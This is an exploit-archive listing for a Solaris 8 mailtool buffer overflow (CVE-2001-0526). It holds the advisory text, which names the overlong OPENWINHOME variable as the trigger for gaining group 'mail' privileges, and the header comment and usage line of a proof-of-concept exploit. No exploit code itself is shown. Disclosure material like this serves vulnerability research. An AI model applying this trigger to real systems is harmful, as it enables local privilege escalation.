Description

Solaris 8 mailtool Buffer Overflow Vulnerability. CVE-2001-0526 . Local exploit for solaris platform

                                        
                                            source: http://www.securityfocus.com/bid/2787/info

The mailtool program included with OpenWindows in Solaris, contains a buffer overflow vulnerability which may allow local users to execute arbitrary code/commands with group 'mail' privileges.

The overflow occurs when a string exceeding approximately 1010 characters is given as the OPENWINHOME environment variable.

/*
mailt00l.c, by 51 (June 2001)

Proof of concept code, exploiting the recently discovered buffer overflow
in Solaris 8 /usr/openwin/bin/mailtool, yielding GID mail
(http://packetstorm.securify.com/groups/synnergy/mailtool-adv.txt).
Should work with both x86 and Sparc versions, thx to compilation directives.
As a matter of course, the defaults buffersize and offset may need to be
tweaked a bit.

Usage : ./mailt00l [buffersize] [offset]

Shouts to Trick for various mentoring...
